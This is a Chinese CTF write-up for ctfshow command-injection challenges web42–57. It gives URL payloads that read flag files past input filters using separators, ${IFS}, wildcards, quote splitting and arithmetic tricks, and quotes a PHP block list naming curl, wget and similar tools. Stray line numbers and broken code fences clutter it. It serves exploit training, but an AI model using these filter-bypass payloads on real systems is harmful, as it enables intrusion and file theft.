2021/7/8
命令执行
(上头)
web42
【给翻译翻译什么叫黑洞】就是不会保存
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。
可以双写绕过。eg.url/?c=ls;ls //第一个ls不执行 第二个执行
无过滤 直接刚
```
/?c=tac flag.php;ls //第二个命令被写入黑洞 第一个命令正常输出1
2
3
- hint标答/?c=tac flag.php%0a
1
2
3
4
5
6
7
8
9
10
11
##### web43
![image-20210708092318402](实训7-8/image-20210708092318402.png)
过滤分号
- &&代替 ; (要用url编码)/?c=tac flag.php%26%26ls
1
2
3
- ||代替;/?c=tac%09flag.php||
1
2
3
- 常规
/?c=nl flag.php%0a –> 查看源代码
1
2
3
4
5
6
7
8
9
10
11
12
- **nl** (Number of Lines) 将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为"-" ,程序将从标准输入读取数据
- tac | cat也可以
##### web44
![image-20210708094227801](实训7-8/image-20210708094227801.png)
- ```
/?c=tac fla*.php%0a```
/?c=tac fla*.php%26%26ls1
2
3
4
5
6
7
8
9
##### web45
![image-20210708095807187](实训7-8/image-20210708095807187.png)
- 空格被屏蔽了 用制表符tab(%09)或者¥${IFS}代替/?c=tac%09fla?.php%26%26ls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
- hint标答
````
/?c=echo$IFS`tac$IFS*`%0A
````
- 不能用fla?.php绕过flag过滤(?
haoxiaoxiyinweifangfataiduowobuhuiguinalehehe
### 命令分隔符5种姿势
先贴上 能用再说
- `%0a`符号
- 换行符
- `%0d`符号
- 回车符
- ; 符号
- 在 shell 中,担任”连续指令”功能的符号就是”分号”
- `&`符号
- ![image-20210708103219419](实训7-8/image-20210708103219419.png)
##### web46
![image-20210708103203395](实训7-8/image-20210708103203395.png)
屏蔽数字不影响(目前
##### web47
![image-20210708112407043](实训7-8/image-20210708112407043.png)
##### web48
![image-20210708112658975](实训7-8/image-20210708112658975.png)
##### web49
![image-20210708112839811](实训7-8/image-20210708112839811.png)
(以上都可以用45方法)
##### web50
![image-20210708115646917](实训7-8/image-20210708115646917.png)
- ```
/?c=nl<>fla''g.php||ls或者
1
/?c=tac<>fla\g.php||
把过滤姿势混搭了一下
web51
不支持通配 用’’分隔
1
/?c=nl<fla''g.php||
web52
(同上)
web53
没黑洞了
- ```
/?c=ta\c${IFS}fla\g.phpif(isset($_GET[‘c’])){1
2
3
4
5
6
7
##### web54
代码如下
$c=$_GET[‘c’];
if(!preg_match(“/;|.*c.*a.t.|.*f.*l.*a.g.| |[0-9]|*|.*m.*o.*r.e.|.*w.*g.*e.t.|.*l.*e.*s.s.|.*h.*e.*a.d.|.*s.*o.*r.t.|.*t.*a.*i.l.|.*s.*e.d.|.*c.*u.t.|.*t.*a.c.|.*a.*w.k.|.*s.*t.*r.*i.*n.*g.s.|.*o.d.|.*c.*u.*r.l.|.*n.l.|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i”, $c)){
system($c);
}
}else{
highlight_file(FILE);
}url/?c=ls //查看flag文件名 显示flag.php index.php1
2
3
4
5
截图太长了没法玩
- 替换思想 先后执行三次
url/?c=mv${IFS}fla?.php${IFS}z.txt
url/?c=ls //再次访问目录
url/z.txt1
2
3
4
5
6
7
8
9
10
11
12
13
![第三步得到这个](实训7-8/image-20210708153312887.png)
##### web55 XX
![image-20210708153458428](实训7-8/image-20210708153458428.png)
无字母 无.(shell)
- ```
url/?c=/???/????64 ????.???- 意思是 url/?c=/bin/base64 flag.php
- base64转码得到flag
- ```
url/?c=/???/???/????2 ????.???1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
- 意思是 url/?c=/usr/bin/bzip2 flag.php
- url/flag.php.bz2
- <em>bzip2是linux下面的压缩文件的命令</em>
##### web56 XXXX
https://blog.csdn.net/qq_46091464/article/details/108513145
##### web57
![image-20210708173459962](实训7-8/image-20210708173459962.png)
https://www.wlhhlc.top/posts/14827/#web57
- ```
url/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
$(())
代表做一次运算,因为里面为空,也表示值为0$((~$(())))
对0作取反运算,值为-1$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1